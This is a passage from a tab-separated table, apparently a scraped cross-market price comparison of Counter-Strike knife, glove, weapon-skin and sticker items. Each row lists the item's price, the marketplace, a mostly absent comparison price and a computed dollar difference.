6\t1\t0\t$26,811.77\tBUFF\tabsent\t+$25,011.77\n015\t★ Sport Gloves | Hedge Maze (Factory New)\t4\t28\t$26,811.77\tYoupin\tabsent\t+$25,011.77\n016\t★ StatTrak™ Karambit | Crimson Web (Factory New)\t1\t2\t$25,000.00\tCSFloat\tabsent\t+$23,200.00\n017\tSticker | Team Dignitas (Holo) | Katowice 2014\t5\t15\t$23,667.04\tBUFF\tabsent\t+$21,867.04\n018\tEMS Katowice 2014 Legends\t4\t11\t$22,879.03\tSkinport\tabsent\t+$21,079.03\n019\t★ Specialist Gloves | Crimson Kimono (Factory New) | Phase 5Phase 5\t1\t0\t$22,343.14\tBUFF\tabsent\t+$20,543.14\n020\t★ Sport Gloves | Pandora's Box (Factory New)\t4\t35\t$21,642.76\tCSFloat\tabsent\t+$19,842.76\n021\tEMS Katowice 2014 Challengers\t4\t9\t$21,010.04\tSkinport\tabsent\t+$19,210.04\n022\tSticker | Vox Eminor (Holo) | Katowice 2014\t4\t12\t$18,619.19\tYoupin\tabsent\t+$16,819.19\n023\t★ StatTrak™ Navaja Knife | Blue Steel (Factory New)\t4\t10\t$18,064.31\tSkinport\tabsent\t+$16,264.31\n024\t★ StatTrak™ Butterfly Knife | Doppler (Factory New) | Black PearlBlack Pearl\t1\t0\t$18,000.00\tCSFloat\tabsent\t+$16,200.00\n025\t★ StatTrak™ M9 Bayonet | Doppler (Factory New) | Black PearlBlack Pearl\t1\t0\t$17,799.99\tCSFloat\tabsent\t+$15,999.99\n026\t★ StatTrak™ M9 Bayonet | Ultraviolet (Factory New)\t1\t1\t$17,517.40\tCSFloat\tabsent\t+$15,717.40\n027\t★ StatTrak™ Skeleton Knife | Crimson Web (Factory New)\t1\t1\t$17,373.82\tCSFloat\tabsent\t+$15,573.82\n028\tSticker | Team LDLC.com (Holo) | Katowice 2014\t4\t5\t$17,274.12\tC5Game\tabsent\t+$15,474.12\n029\tSouvenir AK-47 | Head Shot (Field-Tested)\t1\t1\t$17,092.61\tCSFloat\tabsent\t+$15,292.61\n030\tStatTrak™ AK-47 | Case Hardened (Factory New) | Tier 1Tier 1\t2\t3\t$15,023.53\tYoupin\tabsent\t+$13,223.53\n031\tSouvenir M4A4 | In Living Color (Field-Tested)\t1\t1\t$14,895.43\tBUFF\tabsent\t+$13,095.43\n032\tSouvenir AWP | Gungnir (Minimal Wear)\t1\t2\t$14,895.28\tBUFF\tabsent\t+$13,095.28\n033\t★ Talon Knife | Case Hardened (Battle-Scarred) | Blue GemBlue Gem\t1\t1\t$14,895.28\tC5Game\tabsent\t+$13,095.28\n034\tSticker | Happy (Gold) | Boston 2018\t1\t1\t$14,700.00\tCSFloat\tabsent\t+$12,900.00\n035\t★ StatTrak™ M9 Bayonet | Doppler (Minimal Wear) | RubyRuby\t2\t1\t$14,496.14\tC5Game\tabsent\t+$12,696.14\n036\tSouvenir USP-S | Kill Confirmed (Field-Tested)\t1\t3\t$14,393.00\tCSFloat\tabsent\t+$12,593.00\n037\t★ Specialist Gloves | Crimson Kimono (Field-Tested) | Phase 1Phase 1\t2\t1\t$14,299.61\tC5Game\tabsent\t+$12,499.61\n038\tSouvenir AK-47 | Wild Lotus (Factory New)\t3\t5\t$14,223.13\tCSFloat\tabsent\t+$12,423.13\n039\tAK-47 | Wild Lotus (Factory New)\t5\t290\t$14,190.00\tCSFloat\tabsent\t+$12,390.00\n040\tStatTrak™ M4A4 | Howl (Factory New)\t5\t107\t$13,836.06\tYoupin\tabsent\t+$12,036.06\n041\t★ Specialist Gloves | Crimson Kimono (Minimal Wear) | Phase 2Phase 2\t1\t0\t$13,107.98\tBUFF\tabsent\t+$11,307.98\n042\t★ StatTrak™ Butterfly Knife | Crimson Web (Factory New)\t1\t2\t$13,000.00\tCSFloat\tabsent\t+$11,200.00\n043\tSouvenir AK-47 | Wild Lotus (Minimal Wear)\t2\t3\t$12,214.25\tBUFF\tabsent\t+$10,414.25\n044\tSouvenir M4A4 | Howl (Factory New)\t2\t3\t$11,916.34\tYoupin\tabsent\t+$10,116.34\n045\t★ Karambit | Marble Fade (Factory New) | 1st1st\t3\t2\t$11,916.34\tBUFF\tabsent\t+$10,116.34\n046\t★ Skeleton Knife | Case Hardened (Well-Worn) | Blue GemBlue Gem\t1\t1\t$11,633.33\tC5Game\tabsent\t+$9,833.33\n047\tSouvenir AWP | Gungnir (Factory New)\t3\t9\t$11,601.75\tYoupin\tabsent\t+$9,801.75\n048\tDreamHack 2014 Cobblestone Souvenir Package\t1\t3\t$11,599.15\tCSFloat\tabsent\t+$9,799.15\n049\tSouvenir AWP | Dragon Lore (Factory New)\t4\t43\t$11,573.85\tCSFloat\tabsent\t+$9,773.85\n050\tSouvenir P2000 | Wicked Sick (Field-Tested)\t1\t1\t$11,530.71\tCSFloat\tabsent\t+$9,730.71\n051\tAWP | Gungnir (Factory New)\t5\t385\t$11,490.00\tCSFloat\tabsent\t+$9,690.00\n052\tSouvenir PP-Bizon | Death Rattle (Battle-Scarred)\t1\t3\t$11,450.00\tCSFloat\tabsent\t+$9,650.00\n053\tSouvenir AK-47 | Case Hardened (Battle-Scarred) | Tier 1Tier 1\t1\t1\t$11,425.84\tCSFloat\tabsent\t+$9,625.84\n054\t★ Butterfly Knife | Doppler (Factory New) | Black PearlBlack Pearl\t4\t2\t$11,001.81\tYoupin\tabsent\t+$9,201.81\n055\tSticker | Natus Vincere (Holo) | Katowice 2014\t4\t7\t$11,000.00\tCSFloat\tabsent\t+$9,200.00\n056\tAWP | Dragon Lore (Factory New)\t5\t389\t$10,940.85\tCSFloat\tabsent\t+$9,140.85\n057\t★ StatTrak™ M9 Bayonet | Crimson Web (Factory New)\t1\t2\t$10,801.23\tCSFloat\tabsent\t+$9,001.23\n058\t★ Butterfly Knife | Doppler (Factory New) | RubyRuby\t4\t13\t$10,299.99\tCSFloat\tabsent\t+$8,499.99\n059\tSouvenir Galil AR | Sandstorm (Minimal Wear)\t1\t1\t$10,045.25\tCSFloat\tabsent\t+$8,245.25\n060\tSouvenir MP9 | Nexus (Battle-Scarred)\t1\t1\t$9,999.99\tCSFloat\tabsent\t+$8,199.99\n061\tAK-47 | Wild Lotus (Minimal Wear)\t4\t121\t$9,946.47\tYoupin\tabsent\t+$8,146.47\n062\tAWP | Gungnir (Minimal Wear)\t4\t142\t$9,610.00\tCSFloat\tabsent\t+$7,810.00\n063\tStatTrak™ M4A4 | Howl (Minimal Wear)\t4\t29\t$9,500.00\tCSFloat\tabsent\t+$7,700.00\n064\t★ Butterfly Knife | Doppler (Minimal Wear) | RubyRuby\t3\t0\t$9,366.00\tCSFloat\tabsent\t+$7,566.00\n065\t★ StatTrak™ Butterfly Knife | Doppler (Factory New) | RubyRuby\t4\t3\t$9,014.00\tCSFloat\tabsent\t+$7,214.00\n066\tSouvenir R8 Revolver | Canal Spray (Factory New)\t1\t1\t$9,000.00\tCSFloat\tabsent\t+$7,200.00\n067\t★ StatTrak™ Talon Knife | Crimson Web (Factory New)\t1\t1\t$8,937.26\tBUFF\tabsent\t+$7,137.26\n068\t★ Specialist Gloves | Crimson Kimono (Minimal Wear) | Phase 3Phase 3\t2\t1\t$8,887.50\tBUFF\tabsent\t+$7,087.50\n069\tSouvenir AWP | Dragon Lore (Minimal Wear)\t3\t22\t$8,750.00\tCSFloat\tabsent\t+$6,950.00\n070\tStatTrak™ AK-47 | Case Hardened (Minimal Wear) | Tier 1Tier 1\t3\t10\t$8,639.35\tBUFF\tabsent\t+$6,839.35\n071\t★ Specialist Gloves | Crimson Kimono (Factory New)\t4\t33\t$8,609.56\tBUFF\tabsent\t+$6,809.56\n072\tAWP | Dragon Lore (Minimal Wear)\t5\t173\t$8,524.44\tCSFloat\tabsent\t+$6,724.44\n073\t★ StatTrak™ Karambit | Doppler (Factory New) | Black PearlBlack Pearl\t1\t0\t$8,100.00\tCSFloat\tabsent\t+$6,300.00\n074\t★ StatTrak™ Butterfly Knife | Gamma Doppler (Minimal Wear) | EmeraldEmerald\t5\t3\t$8,043.53\tC5Game\tabsent\t+$6,243.53\n075\t★ Sport Gloves | Superconductor (Factory New)\t4\t30\t$7,969.05\tC5Game\tabsent\t+$6,169.05\n076\t★ StatTrak™ Ursus Knife | Crimson Web (Factory New)\t1\t1\t$7,944.18\tBUFF\tabsent\t+$6,144.18\n077\tStatTrak™ M4A4 | Howl (Well-Worn)\t2\t2\t$7,877.89\tBUFF\tabsent\t+$6,077.89\n078\t★ StatTrak™ Karambit | Marble Fade (Minimal Wear) | 2nd2nd\t1\t1\t$7,836.06\tCSFloat\tabsent\t+$6,036.06\n079\tSouvenir USP-S | Whiteout (Factory New)\t2\t2\t$7,747.58\tBUFF\tabsent\t+$5,947.58\n080\tSticker | HellRaisers (Holo) | Katowice 2014\t4\t20\t$7,550.00\tCSFloat\tabsent\t+$5,750.00\n081\t★ M9 Bayonet | Doppler (Factory New) | RubyRuby\t5\t17\t$7,543.57\tYoupin\tabsent\t+$5,743.57\n082\t★ Butterfly Knife | Gamma Doppler (Factory New) | EmeraldEmerald\t5\t40\t$7,500.00\tCSFloat\tabsent\t+$5,700.00\n083\t★ Karambit | Doppler (Factory New) | Black PearlBlack Pearl\t4\t2\t$7,454.28\tYoupin\tabsent\t+$5,654.28\n084\tSouvenir Glock-18 | Gamma Doppler (Minimal Wear)\t1\t1\t$7,447.71\tBUFF\tabsent\t+$5,647.71\n085\tSouvenir Glock-18 | Gamma Doppler (Minimal Wear) | EmeraldEmerald\t1\t0\t$7,447.71\tBUFF\tabsent\t+$5,647.71\n086\tSticker Slab | Harp of War (Holo)\t1\t0\t$7,447.71\tBUFF\tabsent\t+$5,647.71\n087\tSticker | captainMo (Gold) | Boston 2018\t1\t1\t$7,447.71\tBUFF\tabsent\t+$5,647.71\n088\tSticker | bondik (Gold) | Boston 2018\t2\t2\t$7,447.68\tYoupin\tabsent\t+$5,647.68\n089\tSouvenir MP5-SD | Lime Hex (Field-Tested)\t1\t2\t$7,447.56\tYoupin\t$562.21\t+$5,647.56\n090\t★ Classic Knife | Case Hardened (Minimal Wear) | Blue GemBlue Gem\t1\t2\t$7,447.56\tC5Game\tabsent\t+$5,647.56\n091\t★ StatTrak™ M9 Bayonet | Doppler (Factory New) | RubyRuby\t5\t3\t$7,298.76\tBUFF\tabsent\t+$5,498.76\n092\tSouvenir AWP | Gungnir (Field-Tested)\t2\t6\t$7,298.58\tYoupin\tabsent\t+$5,498.58\n093\t★ StatTrak™ Flip Knife | Case Hardened (Minimal Wear) | Blue GemBlue Gem\t1\t1\t$7,282.08\tC5Game\tabsent\t+$5,482.08\n094\t★ Karambit | Gamma Doppler (Factory New) | EmeraldEmerald\t4\t13\t$7,259.32\tYoupin\tabsent\t+$5,459.32\n095\t★ Karambit | Doppler (Factory New) | RubyRuby\t5\t19\t$7,222.22\tCSFloat\tabsent\t+$5,422.22\n096\t★ StatTrak™ Classic Knife | Crimson Web (Factory New)\t1\t2\t$7,215.34\tCSFloat\tabsent\t+$5,415.34\n097\t★ StatTrak™ Falchion Knife | Scorched (Factory New)\t1\t1\t$7,200.00\tCSFloat\tabsent\t+$5,400.00\n098\tAK-47 | Wild Lotus (Field-Tested)\t5\t150\t$7,194.49\tBUFF\tabsent\t+$5,394.49\n099\tAWP | Gungnir (Field-Tested)\t5\t201\t$7,164.70\tYoupin\tabsent\t+$5,364.70\n100\t★ M9 Bayonet | Doppler (Minimal Wear) | RubyRuby\t4\t1\t$7,149.80\tBUFF\tabsent\t+$5,349.80\n101\t★ Specialist Gloves | Crimson Kimono (Minimal Wear) | Phase 5Phase 5\t2\t1\t$7,149.80\tBUFF\tabsent\t+$5,349.80\n102\t★ Karambit | Doppler (Minimal Wear) | RubyRuby\t4\t1\t$7,122.25\tC5Game\tabsent\t+$5,322.25\n103\t★ Specialist Gloves | Crimson Kimono (Minimal Wear) | Phase 4Phase 4\t1\t0\t$7,120.01\tBUFF\tabsent\t+$5,320.01\n104\tStatTrak™ M4A4 | Howl (Field-Tested)\t4\t37\t$7,100.00\tCSFloat\tabsent\t+$5,300.00\n105\t★ StatTrak™ Huntsman Knife | Crimson Web (Factory New)\t1\t1\t$7,000.00\tCSFloat\tabsent\t+$5,200.00\n106\t★ M9 Bayonet | Doppler (Factory New) | Black PearlBlack Pearl\t4\t4\t$6,988.68\tCSFloat\tabsent\t+$5,188.68\n107\t★ StatTrak™ Karambit | Doppler (Factory New) | RubyRuby\t4\t5\t$6,967.93\tCSFloat\tabsent\t+$5,167.93\n108\t★ Karambit | Gamma Doppler (Minimal Wear) | EmeraldEmerald\t3\t1\t$6,951.10\tBUFF\tabsent\t+$5,151.10\n109\t★ Butterfly Knife | Gamma Doppler (Minimal Wear) | EmeraldEmerald\t4\t2\t$6,903.02\tCSFloat\tabsent\t+$5,103.02\n110\t★ StatTrak™ Bayonet | Ultraviolet (Factory New)\t1\t1\t$6,881.43\tCSFloat\tabsent\t+$5,081.43\n111\t★ Sport Gloves | Hedge Maze (Minimal Wear)\t4\t483\t$6,818.68\tYoupin\tabsent\t+$5,018.68\n112\tAWP | Gungnir (Well-Worn)\t4\t14\t$6,767.67\tCSFloat\tabsent\t+$4,967.67\n113\tSouvenir PP-Bizon | Traitor (Factory New)\t1\t1\t$6,719.96\tCSFloat\t$254.03\t+$4,919.96\n114\tM4A4 | Howl (Factory New)\t5\t280\t$6,628.46\tBUFF\tabsent\t+$4,828.46\n115\t★ StatTrak™ Butterfly Knife | Gamma Doppler (Factory New) | EmeraldEmerald\t4\t5\t$6,622.84\tCSFloat\tabsent\t+$4,822.84\n116\t★ StatTrak™ Karambit | Gamma Doppler (Factory New) | EmeraldEmerald\t4\t3\t$6,436.43\tYoupin\tabsent\t+$4,636.43\n117\t★ M9 Bayonet | Gamma Doppler (Factory New) | EmeraldEmerald\t5\t16\t$6,391.52\tYoupin\tabsent\t+$4,591.52\n118\t★ M9 Bayonet | Gamma Doppler (Minimal Wear) | EmeraldEmerald\t2\t0\t$6,286.59\tYoupin\tabsent\t+$4,486.59\n119\t★ Specialist Gloves | Crimson Kimono (Field-Tested) | Phase 2Phase 2\t2\t1\t$6,256.08\tBUFF\tabsent\t+$4,456.08\n120\t★ Karambit | Crimson Web (Factory New)\t5\t13\t$6,210.09\tSkinport\tabsent\t+$4,410.09\n121\t★ Butterfly Knife | Doppler (Factory New) | SapphireSapphire\t5\t28\t$6,199.00\tCSFloat\tabsent\t+$4,399.00\n122\tSouvenir AK-47 | The Empress (Battle-Scarred)\t1\t1\t$6,163.84\tCSFloat\tabsent\t+$4,363.84\n123\t★ StatTrak™ Stiletto Knife | Crimson Web (Factory New)\t1\t1\t$6,125.34\tCSFloat\tabsent\t+$4,325.34\n124\t★ StatTrak™ M9 Bayonet | Gamma Doppler (Factory New) | EmeraldEmerald\t4\t2\t$6,040.78\tCSFloat\tabsent\t+$4,240.78\n125\tAWP | Dragon Lore (Field-Tested)\t5\t188\t$5,987.96\tYoupin\tabsent\t+$4,187.96\n126\tSouvenir AWP | Dragon Lore (Field-Tested)\t4\t46\t$5,958.02\tYoupin\tabsent\t+$4,158.02\n127\tAWP | Gungnir (Battle-Scarred)\t4\t25\t$5,898.82\tCSFloat\tabsent\t+$4,098.82\n128\t★ StatTrak™ Butterfly Knife | Ultraviolet (Factory New)\t1\t1\t$5,800.00\tCSFloat\tabsent\t+$4,000.00\n129\tSouvenir AK-47 | Case Hardened (Minimal Wear) | Tier 1Tier 1\t1\t0\t$5,792.53\tBUFF\tabsent\t+$3,992.53\n130\tSouvenir Galil AR | Sugar Rush (Minimal Wear)\t1\t1\t$5,792.53\tBUFF\tabsent\t+$3,992.53\n131\t★ Skeleton Knife | Case Hardened (Minimal Wear) | Blue GemBlue Gem\t1\t2\t$5,792.53\tC5Game\tabsent\t+$3,992.53\n132\t★ Butterfly Knife | Doppler (Minimal Wear) | SapphireSapphire\t4\t2\t$5,734.74\tBUFF\tabsent\t+$3,934.74\n133\t★ Sport Gloves | Vice (Factory New)\t5\t97\t$5,700.00\tCSFloat\tabsent\t+$3,900.00\n134\t★ Specialist Gloves | Crimson Kimono (Well-Worn) | Phase 2Phase 2\t1\t0\t$5,610.51\tBUFF\tabsent\t+$3,810.51\n135\t★ StatTrak™ Bowie Knife | Crimson Web (Factory New)\t1\t1\t$5,598.34\tCSFloat\tabsent\t+$3,798.34\n136\tSouvenir AWP | Medusa (Minimal Wear)\t1\t1\t$5,500.00\tCSFloat\tabsent\t+$3,700.00\n137\tAWP | Dragon Lore (Well-Worn)\t2\t3\t$5,445.00\tCSFloat\tabsent\t+$3,645.00\n138\t★ M9 Bayonet | Case Hardened (Minimal Wear) | Blue GemBlue Gem\t1\t1\t$5,443.53\tC5Game\tabsent\t+$3,643.53\n139\t★ StatTrak™ Butterfly Knife | Doppler (Factory New) | SapphireSapphire\t4\t2\t$5,276.37\tYoupin\tabsent\t+$3,476.37\n140\t★ Specialist Gloves | Crimson Kimono (Battle-Scarred) | Phase 1Phase 1\t1\t0\t$5,243.19\tBUFF\tabsent\t+$3,443.19\n141\tSticker | MIBR (Gold) | Cologne 2026\t1\t1\t$5,213.40\tBUFF\t$127.11\t+$3,413.40\n142\tSticker | woxic (Gold, Ranked) | Cologne 2026\t1\t1\t$5,213.40\tBUFF\t$8.00\t+$3,413.40\n143\tSticker | xiELO (Gold, Ranked) | Cologne 2026\t1\t1\t$5,213.40\tBUFF\t$10.54\t+$3,413.40\n144\tSticker | vexite (Gold, Ranked) | Cologne 2026\t1\t1\t$5,213.32\tBUFF\t$10.54\t+$3,413.32\n145\tSticker | HEN1 (Gold, Ranked) | Cologne 2026\t1\t1\t$5,212.80\tBUFF\tabsent\t+$3,412.80\n146\tSticker | doc (Gold, Ranked) | Cologne 2026\t1\t1\t$5,212.80\tBUFF\tabsent\t+$3,412.80\n147\tSticker | saadzin (Gold, Ranked) | Cologne 2026\t1\t1\t$5,212.80\tBUFF\t$10.54\t+$3,412.80\n148\tSticker | stressarN (Gold, Ranked) | Cologne 2026\t1\t1\t$5,212.80\tBUFF\t$10.54\t+$3,412.80\n149\tSticker | NAF (Gold, Ranked) | Cologne 2026\t1\t1\t$5,212.51\tBUFF\t$9.20\t+$3,412.51\n150\t★ Moto Gloves | Spearmint (Factory New)\t4\t40\t$5,211.46\tYoupin\tabsent\t+$3,411.46\n151\t★ StatTrak™ Falchion Knife | Crimson Web (Factory New)\t1\t2\t$5,196.34\tCSFloat\tabsent\t+$3,396.34\n152\tSouvenir M4A4 | Howl (Field-Tested)\t1\t2\t$5,112.12\tCSFloat\tabsent\t+$3,312.12\n153\tSouvenir M4A4 | Howl (Minimal Wear)\t2\t2\t$5,064.27\tYoupin\tabsent\t+$3,264.27\n154\tSouvenir AK-47 | Head Shot (Factory New)\t2\t2\t$5,000.00\tCSFloat\tabsent\t+$3,200.00\n155\tSouvenir G3SG1 | Orange Kimono (Factory New)\t1\t1\t$5,000.00\tCSFloat\t$29.98\t+$3,200.00\n156\tSouvenir M249 | Impact Drill (Factory New)\t1\t1\t$5,000.00\tCSFloat\tabsent\t+$3,200.00\n157\tSticker | Reason Gaming | Katowice 2014\t4\t20\t$5,000.00\tCSFloat\tabsent\t+$3,200.00\n158\t★ StatTrak™ Classic Knife | Scorched (Factory New)\t1\t1\t$5,000.00\tCSFloat\tabsent\t+$3,200.00\n159\tSticker | Ninjas in Pyjamas (Holo) | Katowice 2014\t2\t8\t$4,999.72\tCSFloat\tabsent\t+$3,199.72\n160\t★ Sport Gloves | Pandora's Box (Minimal Wear)\t5\t493\t$4,998.00\tCSFloat\tabsent\t+$3,198.00\n161\tM4A4 | Howl (Minimal Wear)\t5\t235\t$4,997.00\tCSFloat\tabsent\t+$3,197.00\n162\tSticker | mousesports (Holo) | Katowice 2014\t3\t6\t$4,965.09\tBUFF\tabsent\t+$3,165.09\n163\t★ StatTrak™ Karambit | Marble Fade (Factory New) | 1st1st\t3\t2\t$4,965.09\tBUFF\tabsent\t+$3,165.09\n164\tAK-47 | Wild Lotus (Well-Worn)\t5\t55\t$4,942.10\tSkinport\tabsent\t+$3,142.10\n165\tStatTrak™ AK-47 | Case Hardened (Field-Tested) | Tier 1Tier 1\t3\t9\t$4,766.54\tYoupin\tabsent\t+$2,966.54\n166\tStatTrak™ AK-47 | Fire Serpent (Factory New)\t5\t80\t$4,766.54\tYoupin\tabsent\t+$2,966.54\n167\t★ Specialist Gloves | Crimson Kimono (Field-Tested) | Phase 3Phase 3\t2\t1\t$4,733.32\tBUFF\tabsent\t+$2,933.32\n168\tSouvenir AK-47 | Hydroponic (Factory New)\t2\t2\t$4,617.58\tBUFF\tabsent\t+$2,817.58\n169\t★ Specialist Gloves | Crimson Kimono (Well-Worn) | Phase 3Phase 3\t1\t0\t$4,617.58\tBUFF\tabsent\t+$2,817.58\n170\t★ Specialist Gloves | Crimson Kimono (Minimal Wear) | Phase 6Phase 6\t2\t2\t$4,600.90\tBUFF\tabsent\t+$2,800.90\n171\t★ Sport Gloves | Ultra Violent (Factory New)\t4\t64\t$4,543.10\tC5Game\tabsent\t+$2,743.10\n172\tSouvenir M4A1-S | Party Animal (Factory New)\t2\t2\t$4,468.63\tBUFF\tabsent\t+$2,668.63\n173\tSticker Slab | keshandr (Gold) | Krakow 2017\t1\t0\t$4,468.63\tBUFF\tabsent\t+$2,668.63\n174\tSticker | Brollan (Gold, Ranked) | Cologne 2026\t1\t2\t$4,468.63\tBUFF\t$18.46\t+$2,668.63\n175\tSticker | LUCAS1 (Gold) | Boston 2018\t1\t1\t$4,468.63\tYoupin\tabsent\t+$2,668.63\n176\t★ StatTrak™ Karambit | Doppler (Factory New) | SapphireSapphire\t4\t3\t$4,340.62\tYoupin\tabsent\t+$2,540.62\n177\tSouvenir AK-47 | Wild Lotus (Battle-Scarred)\t1\t1\t$4,337.07\tCSFloat\tabsent\t+$2,537.07\n178\t★ Specialist Gloves | Pillow Punchers (Factory New)\t4\t30\t$4,302.25\tC5Game\tabsent\t+$2,502.25\n179\t★ StatTrak™ Karambit | Case Hardened (Factory New)\t4\t7\t$4,300.02\tCSFloat\tabsent\t+$2,500.02\n180\t★ Karambit | Marble Fade (Minimal Wear) | 1st1st\t1\t1\t$4,300.00\tCSFloat\tabsent\t+$2,500.00\n181\tSouvenir AWP | The Prince (Factory New)\t2\t3\t$4,291.45\tCSFloat\tabsent\t+$2,491.45\n182\t★ Skeleton Knife | Doppler (Minimal Wear) | Black PearlBlack Pearl\t3\t1\t$4,290.00\tCSFloat\tabsent\t+$2,490.00\n183\tSticker | keshandr (Gold) | Krakow 2017\t2\t5\t$4,289.88\tBUFF\tabsent\t+$2,489.88\n184\tAWP | Dragon Lore (Battle-Scarred)\t5\t35\t$4,278.61\tCSFloat\tabsent\t+$2,478.61\n185\t★ Specialist Gloves | Emerald Web (Factory New)\t4\t35\t$4,274.69\tBUFF\tabsent\t+$2,474.69\n186\t★ Karambit | Doppler (Factory New) | SapphireSapphire\t5\t13\t$4,258.52\tYoupin\tabsent\t+$2,458.52\n187\t★ Butterfly Knife | Crimson Web (Factory New)\t5\t33\t$4,250.00\tCSFloat\tabsent\t+$2,450.00\n188\tSticker | Clan-Mystik (Holo) | Katowice 2014\t5\t20\t$4,245.20\tYoupin\tabsent\t+$2,445.20\n189\tSouvenir AWP | Dragon Lore (Battle-Scarred)\t4\t9\t$4,225.00\tCSFloat\tabsent\t+$2,425.00\n190\t★ Karambit | Doppler (Minimal Wear) | SapphireSapphire\t3\t1\t$4,186.17\tCSFloat\tabsent\t+$2,386.17\n191\t★ M9 Bayonet | Crimson Web (Factory New)\t4\t11\t$4,178.75\tSkinport\tabsent\t+$2,378.75\n192\tAWP | Medusa (Factory New)\t4\t56\t$4,170.72\tBUFF\tabsent\t+$2,370.72\n193\tSouvenir Sawed-Off | Orange DDPAT (Battle-Scarred)\t1\t2\t$4,170.72\tBUFF\tabsent\t+$2,370.72\n194\t★ Specialist Gloves | Crimson Kimono (Well-Worn) | Phase 5Phase 5\t1\t0\t$4,170.72\tBUFF\tabsent\t+$2,370.72\n195\tSticker | s1mple (Gold) | Krakow 2017\t4\t12\t$4,150.00\tCSFloat\tabsent\t+$2,350.00\n196\tSouvenir M4A4 | Howl (Well-Worn)\t2\t2\t$4,140.93\tYoupin\tabsent\t+$2,340.93\n197\tSticker | Virtus.Pro (Holo) | Katowice 2014\t4\t22\t$4,100.00\tCSFloat\tabsent\t+$2,300.00\n198\t★ StatTrak™ Butterfly Knife | Night (Factory New)\t1\t2\t$4,050.00\tCSFloat\tabsent\t+$2,250.00\n199\t★ M9 Bayonet | Doppler (Factory New) | SapphireSapphire\t5\t23\t$4,021.77\tBUFF\tabsent\t+$2,221.77\n200\tM4A4 | Howl (Field-Tested)\t5\t170\t$4,021.62\tYoupin\tabsent\t+$2,221.62\n201\tM4A4 | Howl (Well-Worn)\t3\t4\t$4,021.62\tYoupin\tabsent\t+$2,221.62\n202\tSouvenir SCAR-20 | Splash Jam (Factory New)\t1\t1\t$4,000.00\tCSFloat\tabsent\t+$2,200.00\n203\tSouvenir Sawed-Off | Spirit Board (Minimal Wear)\t1\t1\t$4,000.00\tCSFloat\tabsent\t+$2,200.00\n204\tStatTrak™ AK-47 | Case Hardened (Battle-Scarred) | Tier 1Tier 1\t2\t2\t$4,000.00\tCSFloat\tabsent\t+$2,200.00\n205\t★ Butterfly Knife | Doppler (Factory New) | Phase 2Phase 2\t5\t32\t$4,000.00\tCSFloat\tabsent\t+$2,200.00\n206\tSticker | LGB eSports (Holo) | Katowice 2014\t5\t21\t$3,971.94\tYoupin\tabsent\t+$2,171.94\n207\t★ StatTrak™ Butterfly Knife | Doppler (Factory New) | Phase 2Phase 2\t5\t3\t$3,919.95\tCSFloat\tabsent\t+$2,119.95\n208\t★ Butterfly Knife | Doppler (Minimal Wear) | Phase 2Phase 2\t4\t2\t$3,900.00\tCSFloat\tabsent\t+$2,100.00\n209\t★ StatTrak™ Butterfly Knife | Doppler (Minimal Wear) | Phase 2Phase 2\t3\t0\t$3,891.80\tYoupin\tabsent\t+$2,091.80\n210\tSticker | iBUYPOWER | Katowice 2014\t4\t24\t$3,835.00\tCSFloat\tabsent\t+$2,035.00\n211\tM4A1-S | Knight (Minimal Wear)\t1\t1\t$3,750.00\tCSFloat\tabsent\t+$1,950.00\n212\t★ Sport Gloves | Hedge Maze (Field-Tested)\t5\t1,236\t$3,723.71\tYoupin\tabsent\t+$1,923.71\n213\tAK-47 | Wild Lotus (Battle-Scarred)\t5\t36\t$3,688.64\tCSFloat\tabsent\t+$1,888.64\n214\t★ M9 Bayonet | Doppler (Minimal Wear) | SapphireSapphire\t4\t1\t$3,679.17\tBUFF\tabsent\t+$1,879.17\n215\tAK-47 | Hydroponic (Factory New)\t5\t451\t$3,647.57\tYoupin\tabsent\t+$1,847.57\n216\t★ StatTrak™ M9 Bayonet | Doppler (Factory New) | SapphireSapphire\t5\t2\t$3,641.04\tBUFF\tabsent\t+$1,841.04\n217\tMP9 | Wild Lily (Battle-Scarred)\t1\t2\t$3,599.00\tCSFloat\tabsent\t+$1,799.00\n218\t★ Specialist Gloves | Crimson Kimono (Field-Tested) | Phase 4Phase 4\t2\t2\t$3,574.75\tBUFF\tabsent\t+$1,774.75\n219\tM4A1-S | Imminent Danger (Well-Worn)\t3\t3\t$3,500.00\tCSFloat\tabsent\t+$1,700.00\n220\t★ Talon Knife | Case Hardened (Field-Tested) | Blue GemBlue Gem\t1\t2\t$3,493.87\tC5Game\tabsent\t+$1,693.87\n221\tSouvenir M4A4 | The Coalition (Minimal Wear)\t1\t4\t$3,445.26\tCSFloat\tabsent\t+$1,645.26\n222\t★ Specialist Gloves | Crimson Kimono (Well-Worn) | Phase 4Phase 4\t2\t1\t$3,425.80\tBUFF\tabsent\t+$1,625.80\n223\tSticker | 3DMAX (Holo) | Katowice 2014\t4\t9\t$3,421.65\tCSFloat\tabsent\t+$1,621.65\n224\tSouvenir Tec-9 | Perimeter (Battle-Scarred)\t1\t1\t$3,357.80\tCSFloat\tabsent\t+$1,557.80\n225\t★ Specialist Gloves | Crimson Kimono (Field-Tested) | Phase 5Phase 5\t2\t7\t$3,350.73\tBUFF\tabsent\t+$1,550.73\n226\tSticker | Titan | Katowice 2014\t5\t34\t$3,349.68\tYoupin\tabsent\t+$1,549.68\n227\t★ Nomad Knife | Case Hardened (Battle-Scarred) | Blue GemBlue Gem\t1\t1\t$3,336.58\tC5Game\tabsent\t+$1,536.58\n228\tStatTrak™ AK-47 | Case Hardened (Well-Worn) | Tier 1Tier 1\t4\t12\t$3,310.06\tYoupin\tabsent\t+$1,510.06\n229\tAK-47 | Case Hardened (Factory New) | Tier 1Tier 1\t4\t30\t$3,276.99\tBUFF\tabsent\t+$1,476.99\n230\t★ StatTrak™ Karambit | Scorched (Factory New)\t1\t1\t$3,271.72\tCSFloat\tabsent\t+$1,471.72\n231\t★ StatTrak™ Huntsman Knife | Doppler (Factory New) | Black PearlBlack Pearl\t1\t0\t$3,250.00\tCSFloat\tabsent\t+$1,450.00\n232\t★ Sport Gloves | Pandora's Box (Field-Tested)\t5\t1,043\t$3,245.49\tC5Game\tabsent\t+$1,445.49\n233\tAUG | Akihabara Accept (Factory New)\t5\t69\t$3,200.45\tYoupin\tabsent\t+$1,400.45\n234\t★ Specialist Gloves | Crimson Kimono (Field-Tested) | Phase 6Phase 6\t2\t6\t$3,182.41\tBUFF\tabsent\t+$1,382.41\n235\t★ StatTrak™ Karambit | Gamma Doppler (Minimal Wear) | Phase 4Phase 4\t1\t1\t$3,107.62\tC5Game\tabsent\t+$1,307.62\n236\t★ StatTrak™ Karambit | Marble Fade (Factory New) | 8th8th\t2\t1\t$3,098.25\tYoupin\tabsent\t+$1,298.25\n237\t★ 